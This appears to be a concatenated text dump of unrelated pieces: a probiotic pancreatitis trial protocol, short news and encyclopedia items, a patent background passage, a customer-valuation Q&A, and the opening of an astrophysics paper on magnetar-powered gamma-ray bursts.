"Upper gastrointestinal dysmotility (UGID) has been observed in acute pancreatitis (AP) as well as in cholestasis and sepsis \\[[@B6]-[@B8]\\] UGID may lead to small bowel bacterial overgrowth (SBBO)\\[[@B6]\\]. ",
"In immunocompromised patients this bacterial overgrowth may lead to bacterial translocation (BT) \\[[@B5],[@B6]\\] BT is not only held responsible for infectious complications, but it also contributes to the overproduction of pro-inflammatory cytokines during acute necrotising pancreatitis (ANP) \\[[@B28]\\]. ",
"These cytokines are key factors in the pathogenesis of multi-organ failure and sepsis.",
"\n\nPrevention of UGID, SBBO and BT may lead to prevention of infected pancreatic necrosis and the resulting systemic complications. ",
"Intravenous antibiotic prophylaxis is considered an option to prevent pancreatic infection, but results from randomised clinical trials are conflicting \\[[@B10]-[@B14]\\].",
"\n\nProbiotics are living micro-organisms that upon oral delivery exert a range of health promoting properties. ",
"For a growing number of inflammatory diseases (gastrointestinal, airway or skin) probiotics are being used, with variable clinical outcome. ",
"It is hypothesised that probiotics have an effect on different levels. ",
"We developed a multispecies probiotic preparation that aims to prevent SBBO and BT in ANP through (1) stimulation of the production of anti-inflammatory cytokines, especially interleukin-10, at the level of the intestinal mucosa\\[[@B29]\\], (2) stimulation of gastrointestinal motility\\[[@B30]\\] and (3) competitive inhibition of opportunistic pathogens\\[[@B31]\\]. ",
"The individual strains each have their own capacity to inhibit growth of specific potential pathogenic micro-organisms (PMO\\'s), as for instance *Escherichia Coli*or *Enterococcus species*. ",
"The combination of these probiotics, *in vitro*, inhibits the growth of all relevant PMO\\'s known to infect pancreatic necrosis \\[[@B31]\\].",
"\n\nMethods / design\n================\n\nStudy objectives\n----------------\n\nThe study objective is to show that probiotics are effective in reducing the number of infectious complications during the course of acute pancreatitis.",
"\n\nPrimary endpoint\n----------------\n\nThe primary endpoint is the total numbers of infectious complications during the hospital stay for acute pancreatitis, see table 1.",
"\n\nSecondary endpoints\n-------------------\n\nSecondary endpoints are mortality, necrosectomy, use of antibiotics, total hospital stay, intensive care stay, side effects, abdominal complaints by a patient visual analogue scale questionnaire, sequential organ failure assessment (SOFA) scores, bacterial resistance and total costs.",
"\n\nDesign\n------\n\nPROPATRIA is a double-blind, placebo-controlled randomised multicenter trial. ",
"The randomisation is stratified according to the aetiology of the acute pancreatitis (ie. ",
"biliary versus non-biliary), also block-randomisation per hospital is used. ",
"Its design and timing of the investigations are presented in Figure [1](#F1){ref-type=\"fig\"} and Table [2](#T2){ref-type=\"table\"}, respectively.",
"\n\n{#F1}\n\n###### \n\nInfectious complications\n\n Complication Definition\n ------------------------------ -----------------------------------------------------------------------------------------------------------------------------------------------------------------------\n Bacterial infection body temperature \\> 38 degrees and increased number of neutrophils and CRP in peripheral blood and one of the below:\n Infected pancreatic necrosis Positive fine needle aspiration culture or air bubbles in the pancreatic necrosis on CT-scan.",
"\n Pneumonia Coughing, dyspnoea, radiography with infiltrative abnormalities, lowered arterial bloodgass. ",
"On the intensive care unit a positive endotracheal culture is mandatory.",
"\n Urinary tract infection Dysuria with bacteraemia (\\>10.000 CFU/mL)\n\nSetting\n-------\n\nPatients will be enrolled from all 8 Dutch University Hospitals and 7 non-University hospitals.",
"\n\nPatients\n--------\n\nA total of 200 adult patients with a first episode of predicted severe acute pancreatitis will be randomised.",
"\n\nEligibility criteria\n--------------------\n\n### Inclusion Criteria\n\n• age equal to or above 18 years\n\n• first episode of acute pancreatitis\n\n• written and oral informed consent\n\n### Exclusion criteria\n\n• post-ERCP pancreatitis\n\n• malignancy\n\n• infection/sepsis caused by a second disease\n\n• intra-operative diagnosis\n\n• immunocompromised patients\n\n• use of probiotics during admission\n\n### Randomisation criteria\n\nAfter inclusion in the study, patients with predicted severe acute pancreatitis, represented by at least one of the following scores: 3 Imrie criteria, CRP 150 mg/L, APACHE II score 8, are randomised within the first 72 hours after the onset of abdominal pain. ",
"Patients with a predicted mild attack of acute pancreatitis do not receive the study product. ",
"They do give informed consent and are monitored.",
"\n\nEthics, informed consent\n------------------------\n\nThis study is conducted in accordance with the principles of the Declaration of Helsinki and \\'good clinical practice\\' guidelines. ",
"The independent ethics committee of all 15 participating hospitals approved the final protocol. ",
"Oral and written informed consent in form is obtained from the patient before inclusion in the trial.",
"\n\nSafety\n------\n\nAll the probiotics used in this study have a long history of use in the food industry. ",
"Probiotics have been studied in many critical ill and immunocompromised patients without any serious adverse events being noted. ",
"There is one trial that studied probiotics in acute pancreatitis patients and no serious advents were noted. ",
"If an infection with one of the administered probiotics might occur, this could be treated with antibiotics. ",
"During administration of the study-product both the patient and the nursing staff are asked to register any potential side effect or adverse event. ",
"An independent monitoring committees will discuss all reported (serious) adverse events.",
"\n\nStatistical analysis\n--------------------\n\n### Intention- to-treat\n\nThe analysis will be performed on the basis of an intention-to-treat (ITT) population and with respect to ITT principles. ",
"Also a per-protocol analysis and an analysis for necrotising versus non-necrotising pancreatitis will be performed.",
"\n\n### Interim-analysis\n\nFor ethical reasons it is desirable to end a therapeutic experiment once a statistical significant difference in treatment results has been reached. ",
"This study uses the stopping-rules according to Snapinn \\[[@B32]\\]. ",
"An interim-analysis will be performed after the data of the first 100 patients (50% fraction) is obtained. ",
"According to Snappin, the trial will be ended at this interim-analysis at p \\< 0,0081. ",
"The study will also be ended in case of adverse events without possibility of positive outcome, p \\> 0,382. ",
"The monitoring committee will discuss the results of the interim-analysis and advice the steering committee. ",
"The steering committee decides on the continuation of the trial.",
"\n\n### Sample size\n\nIt is anticipated that probiotics will lead to a reduction of infectious complications from 50% (% of patients) to 30%. ",
"The sample size calculation is based on α = 0.05, and a power of 80% This leads to a required sample size of 188 patients. ",
"Taking into account a 5% loss-to-follow up, a total of 2 × 100 patients will be randomised. ",
"Based on hospital data of 2002 about 500 patients have to be included in order to randomise 200 patients with predicted severe acute pancreatitis. ",
"There is one post-discharge follow-up after three months. ",
"The expected study end is in 2006 (2 years inclusion period).",
"\n\nRandomisation\n-------------\n\nThe randomisation list was generated by using the website Randomization.com <http://www.randomization.com>. ",
"According to this list a stratified random allocation of probiotics and placebo was performed. ",
"Each participating hospital received a series of subsequently numbered identical containers with probiotics or placebo. ",
"Patients with biliary cause of the pancreatitis are allocated to the lowest possible number available whereas patients with non-biliary cause are allocated to the highest possible number available (stratification).",
"\n\nBlinding\n--------\n\nBoth the probiotics and placebo are packed in identical, numbered sachets. ",
"These sachets are packed in identical, numbered containers. ",
"The probiotics and placebo are identical in weight, colour, smell and taste. ",
"All doctors, nurses, research staff and patients involved are unaware of the treatment administered to the patient.",
"\n\nTreatment program\n-----------------\n\nPatients eligible for inclusion are followed during 72 hours after onset of the abdominal pain. ",
"When a patient meets a randomisation criteria (preferably within 24 hours), a nasojejunal feeding tube is passed and administration of the study product (Ecologic^®^641, Winclove Bio Industries, Amsterdam, The Netherlands) and fibre enriched tube feeding (Multifibre^®^, Nutricia, Zoetermeer, The Netherlands) is started. ",
"Ecologic^®^641 consists of 6 strains of viable and freeze-dried bacteria, namely 4 lactobacilli: *Lactobacillus acidophilus, Lactobacillus casei, Lactobacillus salivarius, Lactococcus lactis,*and 2 bifidobacteria: *Bifidobacterium bifidum*and *Bifidobacterium lactis*in a total daily dose of 10^10^bacteria. ",
"The study-product is administered twice daily through a nasojejunal tube for a maximum of 28 days. ",
"The treatment is stopped when a patient is diagnosed with infected pancreatic necrosis, is discharged or dies. ",
"A standard protocol for the treatment of acute pancreatitis is followed. ",
"During ERC with sphincterotomy in case of biliary pancreatitis antibiotic prophylaxis is allowed. ",
"Prophylactic use of proton pump inhibitors is only allowed in case of a clinical history of peptic diseases like peptic ulcer disease and reflux esophagitis. ",
"Prophylactic use of antibiotics is not allowed. ",
"At 7--10 days after admission, a routine CT scan is performed to detect pancreatic necrosis. ",
"Fine needle aspiration in (peri)pancreatic collections is performed only in case of clinical suspicion of infected necrosis. ",
"Further culturing, imaging and treatment are all based on clinical findings.",
"\n\nMonitoring\n----------\n\nA research nurse monitors the participating centres and patients. ",
"Every 6 months all centres are visited by a second independent research nurse who checks, at least, 10% of every patient\\'s data.",
"\n\nFollow-up\n---------\n\nPatients are followed during their hospital stay. ",
"There is one follow-up visit, 3 months after discharge, including an abdominal ultrasound and a short questionnaire regarding abdominal pain and daily activities.",
"\n\nDiscussion\n==========\n\nOnly patients with predicted severe acute pancreatitis are randomised. ",
"Patients with mild acute pancreatitis are considered not eligible for randomisation because of their low risk to develop infectious complications. ",
"If such patients would be included, a very large number of patients would be needed to demonstrate a significant effect between the treated and the non-treated patients. ",
"To properly introduce the concept and potential of probiotic prophylaxis, the use of prophylactic antibiotics was discussed during the preparations of the study. ",
"About 30% of the hospitals participating in the study commonly used prophylactic antibiotics, once a patient was diagnosed with pancreatic necrosis. ",
"Because of the lack of evidence it was decided, even before the results of the most recent German trial\\[[@B14]\\] were presented, not to administer prophylactic antibiotics in case of pancreatic necrosis without clinical suspicion of infected necrosis. ",
"When patients do receive antibiotics, for instance because of an urinary tract infection, effort is made to administer the study product with a 4-hour interval in order to minimise interference of the antibiotics with the probiotics.",
"\n\nThe maximum of 72 hours between onset of symptoms and start of treatment was decided upon, based on the consideration that probiotics are expected to prevent infection of pancreatic necrosis. ",
"Therefore the probiotics should be administered prior to the stage that bacterial overgrowth starts and intraluminal bacteria migrate across the mucosal barrier. ",
"Experimental studies have shown that bacterial overgrowth occurs very early, within 24 hours after onset, in the course of acute pancreatitis and reduction of the bacterial load in the proximal small bowel by intraluminal antibiotics reduces the risk of infection of pancreatic necrosis \\[[@B8],[@B33],[@B34]\\].",
"\n\nThe presence of pancreatic necrosis can only be detected reliably 5--7 days after onset \\[[@B35]\\]. ",
"This is too late to effectively prevent bacterial overgrowth and translocation and therefore \\\"predictive laboratory scores\\\" are used as randomisation criteria and not diagnosis of pancreatic necrosis on CT scan. ",
"The scoring systems used are also simple and generally available. ",
"A major disadvantage though, is the limited positive predictive value and the high number of false positives \\[[@B36],[@B37]\\]. ",
"During interim-analysis the number of false positives will be calculated and the sample size may be adjusted.",
"\n\nAll randomised patients will receive early enteral feeding by a jejunal feeding tube. ",
"Since patients with predicted severe pancreatitis would develop severe pancreatitis in only 50% of the cases, the fraction with a mild course would normally not receive a nasojejunal feeding tube. ",
"It is unavoidable to prevent this over treatment for patients with a mild course because the current scoring systems fail to select all patients with a severe course and early intervention is warranted.",
"\n\nThe primary outcome parameter \\'total of infectious complications\\', was chosen because it was shown in previous trials that also the number of pulmonary and urinary tract infections can be reduced by probiotics \\[[@B19]-[@B21]\\] This fits in with the concept that such complications are secondary to bacterial translocation.",
"\n\nAll of the infectious complications are documented in the study period until the patient reaches one of the study-endpoints: infected necrosis, discharge or in-hospital death.",
"\n\nConclusion\n==========\n\nPROPATRIA is a double-blind, placebo-controlled randomised multicenter trial that aims to show a reduction in infectious complications by the enteral use of a multispecies probiotics preparation in patients with predicted severe acute pancreatitis.",
"\n\nAuthors\\' contributions\n=======================\n\nMB drafted the manuscript\n\nHT, EB, VN, LA and HG edited the manuscript\n\nAll authors participated in the design of the study\n\nMB and EB performed the statistical analysis.",
"\n\nAll authors read and approved the final manuscript.",
"\n\nCompeting interests\n===================\n\nThe authors declare that they have no competing interests.",
"\n\nPROPATRIA committee members\n===========================\n\n*Steering Committee*-HG Gooszen (chairman), MGH Besselink (principal investigator), HM Timmerman, LMA Akkermans, VB Nieuwenhuijs, E Buskens, UMC Utrecht; H van Goor, GT Bongaerts, UMC St. Radboud Nijmegen.",
"\n\n*Monitoring Committee*-IHM Borel Rinkes (chairman), B Oldenburg, Y van der Graaf, W Renooij, UMC Utrecht; E Stobberingh, University Hospital Maastricht.",
"\n\nKey staff at coördinating centre\n================================\n\nMGH Besselink (principal investigator), VJM Zeguers (trial research nurse), J Oors (auditor), HG Rijnhart (data manager), HM Timmerman, LMA Akkermans, HG Gooszen, UMC Utrecht.",
"\n\nClinical centres and investigators\n==================================\n\nThe last investigator per hospital is the local principal investigator. ",
"University Hospital Groningen: RJ Ploeg, MR Kruijt Spanjer, HS Hofker; University Medical Center St. Radboud Nijmegen: H Buscher, A Nooteboom, H van Goor; University Hospital Maastricht: JP Rutten; CHC De Jong; St. Elisabeth Hospital Tilburg: T Drixler; C van Laarhoven; Erasmus Medical Center Rotterdam: G van 't Hof, EJ Kuipers CHJ van Eijck; Canisius Wilhelmina Hospital Nijmegen: B Houben, L Ootes, A Tan, C Rosman; Medical Center Rijnmond Zuid Rotterdam: N Wijffels, L van Walraven, J Lange; Leiden University Medical Center: A Haasnoot, S Schaapherder; Gelderse Vallei Hospital Ede: B Witteman; St. Antonius Hospital Nieuwegein: TL Bollen, B van Ramshorst; University Medical Center Utrecht: KJ van Erpecum; Meander Medical Center Amerfoort: R Frankhuisen, MA Brink; Vrije Universiteit Medical Center Amsterdam: CJ Mulder, MA Cuesta; Rijnstate Hospital Arnhem: E Spillenaar Bilgen, P Wahab; Academic Medical Center Amsterdam: DJ Gouma, O van Ruler, MA Boermeester.",
"\n\nList of abbreviations\n=====================\n\nCRP c-reactive protein\n\nAPACHE II Acute Physiology and Chronic Health Evaluation II\n\nERC endoscopic retrograde cholangiography\n\nCT scan computer tomographic scan\n\n###### \n\nStudy Flowchart\n\n Visit Admission Day 2 Day 5 Day 10 Day 14 Day 21 Day 28 Day 35 Discharge 3 months\n ------------------ ----------- ------- ------- -------- -------- -------- -------- -------- ----------- ----------\n Informed consent X \n Clinical scores X X X X X X X X X \n US\\# X X\n CT\\* X \n Laboratory X X X X X X X X \n Study product X^§^ X^§^ X X X X X \n\n\\# US = abdominal ultrasound to detect gallstones (at admission) or pseudocyste (at follow-up)\n\n\\* CT = abdominal computer tomographic scan to detect (peri-)pancreatic necrosis\n\n^§^= Within 72 hours after onset of pain the administration of the study product is started.",
"\n\nPre-publication history\n=======================\n\nThe pre-publication history for this paper can be accessed here:\n\n<http://www.biomedcentral.com/1471-2482/4/12/prepub>\n\nAcknowledgements\n================\n\nThe authors wish to thank Winclove Bio Industries, Amsterdam, for the help in the design of the multispecies probiotics and for the supply of both probiotics and placebo. ",
"Senter, an agency of the Dutch Ministry of Economic Affairs, funded this study (grant number: TSGE3109).",
"\n"
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"The long-awaited Metra station that is proposed to be built at the corner of Peterson and Ravenswood in Edgewater has been officially granted $15 million in the new state budget. ",
"However, it will need Governor Rauner’s approval first.",
"\n\nThough the money allocated towards the project is a positive move forward, a spokesman for Metra confirmed that the project has not been given a green light. ",
"According to a DNAinfo report, Metra said that they are still waiting to hear as to how the money will be reallocated.",
"\n\nIn addition, Metra also needs further information from the Illinois Department of Transportation (IDOT) to begin the station. ",
"Because Peterson Ave. ",
"is designated as U.S. Highway 14, the project has to be approved by IDOT.",
"\n\nBoth Alderman Harry Osterman and Patrick O’Connor remain hopeful that the project will begin soon. ",
"Earlier in the year, Osterman acquired $10 million towards the station. ",
"That money is still there, ready to use.",
"\n\nThe Peterson Metra station, which was first announced in 2012, will cost around $15 million to build and will include a platform with covered portico and warming area. ",
"The design also features a vehicle entrance with a round-about for departing/arriving passenger pickup. ",
"If completed, the station will be the Union Pacific North Line’s fourth stop from downtown."
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"Austerbogen\n\nAusterbogen (Eastern Bay) is a bay in Sørkapp Land at Spitsbergen, Svalbard. ",
"It is located between the headland of Kikutodden and Keilhaubreen at the eastern coast of Spitsbergen.",
"\n\nReferences\n\nCategory:Bays of Spitsbergen"
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"Vehicles, such as aircraft, often include various devices on their external surfaces. ",
"Examples of such items include sensors, weapon mountings and cameras. ",
"Such externally projecting devices can have disadvantages in terms of reducing aerodynamics and increasing radar cross section (thereby making the aircraft less stealthy). ",
"External formations can be used by hostile parties to obtain a radar signature that can assist with identifying the aircraft. ",
"Conventional aircraft weapon bays have large doors that open outwardly to allow a weapon to be positioned outside the aircraft. ",
"Such apparatus is large and susceptible to being detected by radar.",
"\nFurther, external real estate on particular types of vehicles may be limited and so it can be difficult to fit several external items."
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"Skeleton (sport)\n\nSkeleton is a winter sport in which a person rides a small sled down a frozen track. ",
"The person lays face down on the sled, and rides head forward. ",
"It had been played at the Winter Olympics since 2002; before that, it had also been played in the 1928 and 1948 Games.",
"\n\nSkeleton is a dangerous sport. ",
"Riders can reach speeds of 140 kilometres per hour (87 miles per hour)."
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"Q:\n\nProbabilistic Compounding Valuation Question\n\nSo this is a bit of a mix of a math question and a valuation one.",
"\nI'm trying to place a dollar value on an average customer for business purposes (to determine how much we should pay in ads to acquire them). ",
"Simple enough, but the business is a weird one where customers can actually go on to recruit other customers on their own (in theory, infinitely so).",
"\nEach customer brings in around $2,000 in purchases (on average), but each customer also has a 1% chance of converting into a recruiter, which on average brings in 4 new clients.",
"\nWhat's a good mathematical approach to doing a valuation here? ",
"From a high-level, it's:\n\nValue of purchases ($2,000) +\nExpected Lifetime Value as a recruiter\n\nI started by simply adding the 2000 to the probability adjusted recruiter value (2,000 x 4 x 1%) but then you run into the fact the 4 potential additional customers generated will generate more customers, and those even more, and so on....\nIs there a way to limit this and place a realistic mathematical valuation on a customer in this scenario? ",
"Any advice would be greatly appreciated.",
"\n\nA:\n\nThe new potential 4 customers have again 1% chance of bringing in 4 new customers each so at this stage you can potentially bring in 16 customers with $(0.01)^2 = 0.0001$ chance. ",
"If you keep doing this you expect on average:\n$$\\begin{eqnarray}1+4\\times 0.01 + 4^2\\times (0.01)^2 + 4^3\\times (0.01)^3 + 4^4\\times (0.01)^4 + \\ldots \\\\ = 1+ 0.04 + (0.04)^2 + (0.04)^3 + (0.04)^4 + \\ldots \\end{eqnarray}$$\nwhich is a geometric series that converges to about 1.04167. ",
"This valuates an incoming client at about 2083.33. ",
"Note that this is like calculating an annuity.",
"\nPresumably, the customer will not bring in those new customers in instantly. ",
"So, you should account for the time value of money as well. ",
"Suppose the interest rate is now 0.1% monthly. ",
"Then the value of the 4 new clients of the next period, provided we assume that the 4 new clients brought in by the preceding client come a month later will be\n$$2000 \\times 4 \\times (0.01)/(1.001) \\approx 2000 \\times 4 \\times 0.00999 \\; .$$\nDoing the whole computation over from the beginning with the adjusted \"recruitement\" increase:\n$$2000 \\times (1+ 0.03996 + (0.03996)^2 + (0.03996)^3 + (0.03996)^4 + \\ldots )$$\nwill give you about 2083.25, which is not so far off from the previous value because I assumed interest rates to be rather low.",
"\n\n"
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"\n\nOr Just Say Hi. ",
"We’d Love to Hear From You and Discuss What You Need.",
"\n\nPhone:\n\nAddress:\n\nGet Directions\n\nFill in your address or zipcode to calculate the route\n\nAbout Us\n\nAl Salam Group of Companies was established in the year 2008, as a conglomerate of different companies’ that specializes in various products and services ranging from trading of gold to providing table services, to real estate."
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"Modigliani sculpture sets artist record in Paris\n\nReuters Staff\n\n2 Min Read\n\nPARIS (Reuters Life!) - ",
"A sculpture by Italian artist Amedeo Modigliani has fetched 43.2 million euros ($52.6 million) at a Paris sale, an auction record for the artist and the highest price paid for a work of art sold in France.",
"\n\nThe 65 cm limestone work, entitled “Tete,” was executed in 1910-12 and was one of only around 10 Modigliani sculptures to be held privately, according to Christie‘s, which sold the piece.",
"\n\nThe artist is known to have created only 27 sculptures overall, and its rarity value, combined with booming values for top works of art, drove prices higher.",
"\n\n“Our Paris sale results confirm a vigorous market in which collectors demonstrate an insatiable appetite for works of great rarity and excellence,” said Anika Guntrum, head of Christie’s impressionist and modern art department in Paris.",
"\n\nBoth Sotheby’s and Christie’s set world auction records this year, each selling a work of art for more than $100 million.",
"\n\nThe Modigliani was from the collection of Gaston Levy, which acquired the work in 1927."
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"Ravne na Koroškem\n\nRavne na Koroškem (; until 1952: Guštanj, ) is a town in northern Slovenia. ",
"It is the largest town and the capital of Slovenia's Carinthia region. ",
"The town has a long tradition in steel industry.",
"\n\nName\nThe name Ravne na Koroškem literally means 'Ravne in Carinthia'. ",
"The word ravne means 'flat terrain' in Slovene, and is a common place name in the Slovene-inhabited territories. ",
"The name of the settlement was changed from Guštanj (from German Gutenstein) to Ravne na Koroškem in 1952 on the basis of the 1948 Law on Names of Settlements and Designations of Squares, Streets, and Buildings as part of efforts by Slovenia's postwar communist government to remove German elements from toponyms.",
"\n\nHistory\nPart of the Duchy of Carinthia from 976, King Henry II of Germany granted the area to the Bishops of Bamberg in 1007. ",
"The settlement was first mentioned as Gutenstain in a 1263 deed.",
"\n\nRavne na Koroškem was granted town status in 1952. ",
"The history of the steel industry in the town goes back 380 years.",
"\n\nChurch\nThe parish church in the settlement is dedicated to Saint Giles and belongs to the Roman Catholic Archdiocese of Maribor. ",
"It is first mentioned in written documents dating to 1331. ",
"It was re-vaulted in the 17th century.",
"\n\nCulture\nRavne is also known for excellent jazz. ",
"Concerts of the Jazz Ravne cycle are held throughout the year and the Festival of Slovenian Jazz takes place each October.",
"\n\nIn fiction \nOne of Nostradamus's quatrains that is localized to southeast Europe has the following couplet:\n\nwhich translates to \n\nMario Reading translates the third line as \"throughout enslaved-Slovenia,\" finding no other meaning and stipulates that the town will be either the conception or birthplace of the third and last Antichrist. ",
"He interprets the first lines as indicating \"bad luck will come to those countries abutting the place\"—Baleni Romini and Dalmatia are the specific afflicted places mentioned—and ascribes the index date 2032 based on the original manuscript number 32. ",
" Mostly as a result of line three (the first line above) this place, the author considers Ravne na Koroškem the most likely of the three places named Ravenne in Europe that unwittingly hosts the creation of this globally inhumane person.",
"\n\nGallery\n\nReferences\n\nExternal links\n\n Ravne na Koroškem municipal website\n Ravne na Koroškem on Geopedia\n\nCategory:Populated places in the Municipality of Ravne na Koroškem\nCategory:Cities and towns in Carinthia (Slovenia)"
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[
"---\nabstract: 'Early shallow-decaying X-ray afterglows of gamma-ray bursts (GRBs) may be attributed to the dipole radiations of newly-born magnetars. ",
"Assuming that the GRB jets powered by magnetars are quasi-universal, we find that the jet structure can be parameterized as a uniform jet with a luminosity of $\\log L_{\\rm j}/{\\rm erg\\ s^{-1}}=52.68^{+0.76}_{-0.33}$ (1$\\sigma$) and an opening angle $\\theta_{\\rm j}=2.10_{-1.28}^{+1.90}$ (50% confidence level), surrounding by a power-law decay component with an index of ${-4.00^{+0.27}_{-0.37}}$ (1$\\sigma$). ",
"The inferred local GRB rate is $\\rho=9.6$ Gpc$^{-3}$ yr$^{-1}$ by including both the typical GRBs and LL-GRBs as the same population. ",
"The typical viewing angle is $3.3^{o}$, and may be $20^{o}\\sim30^{o}$ for LL-GRBs. ",
"The X-ray luminosity function of the dipole radiation wind can be empirically described by a broken power-law function with indices $\\beta_1=0.78^{+0.16}_{-0.15}$ and $\\beta_2>1.6$ broken at $\\log L_{b, w}/{\\rm erg\\ s^{-1}}=48.51^{+0.53}_{-0.65}$. In case of that the wind outflow is collimated and co-axial with the GRB jet, we find that the wind structure is similar to the GRB jet, i.e., $\\log L_{\\rm c, w}/{\\rm erg\\ s^{-1}}=48.38^{+0.30}_{-0.48}$, $\\theta_{\\rm c, w}={2.65^{o}}_{-1.19^{o}}^{+0.1.73^{o}}$, and $k_{\\rm w}=4.57^{+1.21}_{-0.75}$. The observed correlation between the prompt gamma-ray luminosity and X-ray luminosity of the wind may be resulted from the viewing angle effect in such a jet-wind system. ",
"Discussion on survey with the X-ray instruments on board the [*Einstein Probe*]{} mission in the soft X-ray band for the jet and wind emission is also presented.'",
"\nauthor:\n- 'Wen-Jin Xie, Le Zou, Hong-Bang Liu, Shan-Qin Wang, En-Wei Liang'\ntitle: 'Magnetar as Central Engine of Gamma-Ray Bursts: Quasi-Universal Jet, Event Rate and X-ray Luminosity Function of Dipole Radiations'\n---\n\nIntroduction\n============\n\nGamma-Ray Bursts (GRBs) are the most violent explosions in the universe. ",
"It is generally believed that GRBs are associated with death of massive stars or compact binary mergers (e.g., [@2007ApJ...655L..25Z]; [@2015PhR...561....1K]). ",
"However, the central engine of GRBs is still inconclusive. ",
"There are two candidates that have been generally investigated, including a newly formed black hole (BH) with an accretion disk ([@1992ApJ...395L..83N]; [@1999ApJ...524..262M]; [@2001ApJ...557..949N]) or a highly rotating magnetar ([@1992Natur.357..472U]; [@1994MNRAS.270..480T]; ; [@2000ApJ...537..810W]; [@2011MNRAS.413.2031M]; [@2014ApJ...785...74L]). ",
"In the hyper-accreting BH scenario, the relativistic GRB jets are powered through the Blandford-Znajek (BZ) mechanisms ([@1977MNRAS.179..433B]) or by the polar annihilation of neutrino-antineutrino pairs ([@1999ApJ...518..356P]). ",
"For the magnetar scenario, the rotational energy of the magnetar could be extract to power the jet and product GRB via magnetic dipole radiation and relativistic wind spindown ([@1992Natur.357..472U]; ), or could be extracted by magnetic bubble eruption due to differential rotation ([@2006Sci...311.1127D]; [@2000ApJ...542..243R]; [@1998ApJ...505L.113K]).",
"\n\nBurst Alert Telescope (BAT) and X-ray Telescope (XRT) on board $Swift$ satellite have detected thousands of GRBs and their X-ray afterglows. ",
"Half of well-sampled X-ray afterglow light curves observed by XRT are characterized with a shallow-decay segment or a plateau transiting to a normal-decay or a sharp drop segment ([@2006ApJ...642..389N]; [@2006Natur.444.1010Z]; [@2006ApJ...647.1213O]; [@2007ApJ...670..565L]; [@2007ApJ...665..599T]; [@2014ApJ...785...74L]; [@2016MNRAS.462.2990D]). ",
"A newly-born magnetar is thought to be the central engine of a long-lasting X-ray plateau since the injected kinetic luminosity of the magnetic dipole (MD) radiation is steady during the characteristic spin-down timescale (e.g., ; [@2001ApJ...552L..35Z]). ",
"This scenario has been supported by $Swift$ observations for both long and short GRBs ([@2006MNRAS.372L..19F]; [@2007ApJ...670..565L]; [@2007ApJ...665..599T]; [@2010MNRAS.402..705L]; [@2013MNRAS.430.1061R]; ; [@2013MNRAS.430.1061R]; [@2013MNRAS.431.1745G]; [@2014MNRAS.438..240G]; [@2014ApJ...785...74L]; [@2015ApJ...805...89L]; [@2016PhRvD..93d4065G]; [@2017MNRAS.470.4925G]; [@2018MNRAS.478.4323G]). ",
"Recently, [@2019Natur.568..198X] reported a redshift-known transient with X-ray plateau, which is thought to be powered by a newly-born magnetar as the aftermath of a binary neutron-star merger. ",
"It has been widely studied for the GRB jet luminosity function ([@2001ApJ...552...36S]; [@2005ApJ...619..412G]; [@2007ApJ...662.1111L]; [@2010MNRAS.406.1944W]; [@2014ApJ...783...24L]). ",
"However, the X-ray luminosity function of newly-born magnetar dipole radiation has been rarely explored before, [@2017ApJ...835....7S] perform peak luminosity function and the event rate of the X-ray transients associated with double neutron star mergers. ",
"Determining the intrinsic distribution of dipole radiation luminosity and describing it by equation would provide key clues to understand the properties of newly-born magnetars and provide the detection guidance for the future X-ray telescope mission.",
"\n\nLaser Interferometer Gravitational-wave Observatory (LIGO) detected GW 170817 located in a nearby galaxy whose distance is 40 Mpc in 2017 ([@2017ApJ...848L..12A]). ",
"Two seconds later, a weak gamma ray burst GRB 170817A associated with GW170817 was observed independently by Gamma-ray Burst Monitor (GBM) on board $Fermi$. Models of central engines powering such relativistic jets are still in debate. ",
"Recent researches (e.g., [@2017ApJ...848L..20M]; [@2019MNRAS.483..840B]) suggested that the low luminosity GRB 170817A may be produced by an off-axis structured jet. ",
"Those researches indicated that at least a fraction of LL-GRBs are off-axis ones. ",
"The multi-messenger and multi-band observations ([@2017PhRvL.119p1101A]) provide an unprecedent opportunity to explore the structure of the GRB jet. ",
"The prompt emission is believed to be strongly beamed along the ultra-relativistic jets with half-opening angles $\\theta_j$ ([@1999ApJ...525..737R]; [@1999ApJ...519L..17S]; [@2001ApJ...562L..55F]). ",
"Three jet structure are generally discussed in the literatures, including a uniform jet, a power-law ([@1998ApJ...499..301M]; [@2001ApJ...552...72D]; [@2002ApJ...571..876Z]) and a gaussian structure jet ([@2002ApJ...571..876Z]; [@2003ApJ...591.1075K]). [",
"@2004ApJ...601L.119Z] showed that the GRB-XRF prompt emission/afterglow data can be explained in the frame of quasi-universal structure jet and derived a typical opening angle 5.7 deg with a standard energy about $10^{51}$ erg. ",
"The local rate of high-luminosity GRB (HL-GRB) is found to be $\\sim1$ Gpc$^{-3}$ yr$^{-1}$ ([@2001ApJ...552...36S]; [@2007ApJ...662.1111L]; [@2010MNRAS.406.1944W]; [@2014ApJ...783...24L]). ",
"However, the Low Luminosity GRB (LL-GRB) local rate is nearly $100\\sim1000$ Gpc$^{-3}$ yr$^{-1}$ ([@2006ApJ...645L.113C]; [@2006Natur.442.1011P]; [@2007ApJ...662.1111L]). ",
"Based on the distinction of local rate, luminosity and beaming factor between HL-GRB and LL-GRB. ",
"Some groups (e.g., [@2007ApJ...662.1111L]; [@2012ApJ...747...88N]; [@2011ApJ...739L..55B]) suggested the LL-GRBs are likely a unique GRB population. ",
"Other groups (e.g., [@1999ApJ...522L.101N]; [@2003Natur.426..154B]; ) argued that LL-GRBs and HL-GRBs are common origin but observed from different angles.",
"\n\nIn this paper, we explore whether the sample of those GRBs whose early X-ray afterglow lightcurves are characterized by a shallow-decaying segment can be reproduce by a quasi-universal structure jet from different viewing angles. ",
"We constrain the parameters of the jet structure through Monte Carlo simulations by comparing the observed luminosity and redshift distributions to the simulation results, and revisit the GRB rate in this scenario. ",
"With the same technique, we also constrain the luminosity function (LF) of the dipole radiation winds powered by the magnetars and explore possible outcome of X-ray survey mission in the near future. ",
"This paper is organized as follows. ",
"In Section 2, we present the data and our GRB sample selection. ",
"The constrain on the jet structure and event rate are shown in Section 3, and constraints on the LF of the dipole radiation wind are reported in Section 4. ",
"Discussion and conclusion are drawn in Section 5 and Section 6, respectively. ",
"A flat Universe with $H_0=71.0$ km s$^{-1}$Mpc$^{-1}$, $\\Omega_M$=0.3 and $\\Omega_\\Lambda$=0.7 is adopted throughout this paper.",
"\n\nSample Selection {#Sec:sample}\n================\n\nWe adopt a GRB sample presented in [@2019ApJ...877..153Z] for our analysis. ",
"These GRBs are selected from current Swift GRBs with redshift measurement. ",
